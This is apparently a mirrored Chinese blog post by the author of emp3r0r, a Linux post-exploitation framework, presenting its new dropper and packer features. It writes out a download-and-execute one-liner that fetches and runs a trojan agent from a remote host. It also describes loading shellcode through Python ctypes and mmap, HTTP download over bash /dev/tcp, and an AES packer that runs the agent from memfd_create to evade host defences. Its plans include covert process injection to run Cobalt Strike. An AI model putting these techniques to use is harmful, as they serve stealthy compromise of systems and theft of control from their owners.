4

本文是emp3r0r:Linux用户打造的Linux后渗透框架的后续。

 3 years ago
source link: https://www.freebuf.com/sectool/260282.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

介绍

本文是 emp3r0r:Linux用户打造的Linux后渗透框架 的后续。

首先感谢大家对 emp3r0r 的肯定,如果有什么想法可以在评论区交流。

最近添加了些我觉得可能有用的东西,今天要介绍的就是dropper和packer两个新功能。

dropper顾名思义是用来drop东西的,之所以会用到它,是因为我们一般倾向于分阶段(staged)的加载技术,为什么分阶段,因为你第一阶段可能处于一个比较受限的环境,不能直接把你的东西都甩上来。简单地理解,dropper可以是一段shell命令,用来drop我们的agent(也就是木马)ELF文件,比如脚本小子喜欢用的 wget http://download.host.com/agent && chmod 755 agent && ./agent

我们不是脚本小子,所以我们更愿意用一些高级的dropper,比如大家都喜欢的内存加载,这也是本文所要介绍的主题之一。

至于说packer,你们一般叫它加壳。加壳的一个主要目的是避免被查杀,不过由于 emp3r0r 的自身设计,每个目标主机上运行的agent都是不同的文件(靠hash来查杀的懒人们可以歇歇了),一般是不太容易被常见的主机防护软件查杀了。不过为了高级些,也为了配合内存加载的需要,我还是搞了个加密的packer。

接下来进入正题。

Dropper 与Shellcode

怎么生成

先说下为什么用shellcode。因为

1. 这个东西可以注入到其它进程中;
2. 理论上它可以没有任何依赖条件。

菜鸡如我从来没有写过shellcode,就先拿msfvenom介绍下吧:

UZzuAbF.jpg!mobile

我们想要的是一个可以下载执行ELF文件的shellcode,很遗憾它没有。它甚至连一款实现了http通信的shellcode都没有,仅有的那个http的meterpreter payload,并不是个shellcode(sorry)。

所以不会写shellcode又想演示一下的话,就用这个脱裤子放屁的 linux/x64/exec 吧。怎么用?你直接把它的exec命令设成 wget http://download.host.com/agent && chmod 755 agent && ./agent 这样。

我们要生成一个字节串供之后emp3r0r使用:

JzENvmr.jpg!mobile

稍微解释下, lwp-downloadlibwww-perl 的一部分,很多linux发行版默认会有这个包。 /dev/shm 是linux的shared memory挂载点,放到这里就是放到了内存(虽然比较显眼)。

纯bash实现文件下载

现在的bash基本上都支持TCP pseudo device,我们完全可以在此基础上实现一个HTTP下载功能。

参考 shell tips 的示例,我们可以把它做成一个subshell命令: MrMnEnb.jpg!mobile

结合前面的,把它做成一个one liner:

iemIRjb.jpg!mobile

所以我们就可以把这个one liner作为msfvenom的命令参数来生成shellcode,这样可以兼容更多的目标主机。

当然,为了让shellcode更短,你完全可以minify一下上面的脚本,也可以删掉不必要的部分。

Shellcode加载

Python

你不能直接拿shell脚本去执行shellcode,对吧?

不对。

有一些几乎所有linux主机都会预装的工具程序,结合它们写个shell脚本,实现一个shellcode loader还是可行的。

比如python(我知道这不是bash,但你还得从bash或者别的什么shell来加载python吧?)

python实现这一点是通过 ctypes 。这是一个提供C调用接口的功能,让你可以在python中直接调用C的函数,所以我们可以利用这一点调用glibc的函数来加载shellcode。

根据 sektor7 的文章,思路大致是:

  • 加载libc到当前python进程

  • 使用 mmap 分配一块具有写入和执行权限的内存区域

  • 把shellcode写进去

  • cast我们的shellcode buffer类型,以便作为“函数”来调用: (void *)shellcode

  • call我们的shellcode

代码如下:

qI7ne2y.jpg!mobile

我把这个脚本集成到了 emp3r0r的dropper模块 中,如果你需要加载自己的shellcode,请按照Wiki的说明操作。

最终会生成一个shell命令,直接在目标主机运行即可:

下图是全过程的示意:

jemauuA.jpg!mobile

dd

就不解释dd是干啥的了。

这里的思路是启动一个进程如sleep,然后用dd朝它的内存写入shellcode。

首先,在linux中,大部分情况下,我们可以修改子进程的内存( /proc/pid/mem )。我们的bash脚本会启动一个 sleep 进程,然后使用 dd 来替换当前bash,最后 dd 就成为了 sleep 的父进程。

然后,我们把shellcode写到 sleep 的text段某处,等待它被执行。

但我还没搞成功,下次再写篇文章吧。

Packer加密与运行

这个packer完全使用 Go 开发,改编自 https://github.com/guitmz/ezuri

思路是把agent的ELF文件进行AES加密,拼接到stub上,stub运行的时候,会定位原ELF的位置,将它解密。

解密之后用 memfd_create 给它找个匿名内存fd,写进去,并执行。

bm2ERfN.jpg!mobile

从内存启动

自Linux 3.17之后, memfd_create 可以返回一个匿名的内存区块,让用户可以像使用普通的 FILE * 一样使用它。所以我们的packer首选这个启动方式。

euuQFjF.jpg!mobile

用Go一样可以调用syscall,而 memfd_create 只能通过syscall调用,没有暴露其它什么接口。

最后如果 memfd_create 失败,我们就退回简单的tmpfs方法,也就是 /dev/shm

更新计划

接下来会添加的几个功能:

  • 从CC端到agent端的反向端口映射。这个功能可以让其它后渗透工具(如cobalt strike)的agent通过emp3r0r的通信隧道连接它们自己的CC服务

  • 使用GDB对目标主机的进程注入shellcode,或者对自行启动的子进程注入(如果权限不足)。这个功能让你进一步运行cobalt strike或其它工具变得更加方便和隐蔽

  • 用dd实现的一个dropper

鸣谢

  • 文中提到的参考资料以及背后的大佬们

  • 云舒大佬对上篇文章的转发

  • 正在看这篇文章的你


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK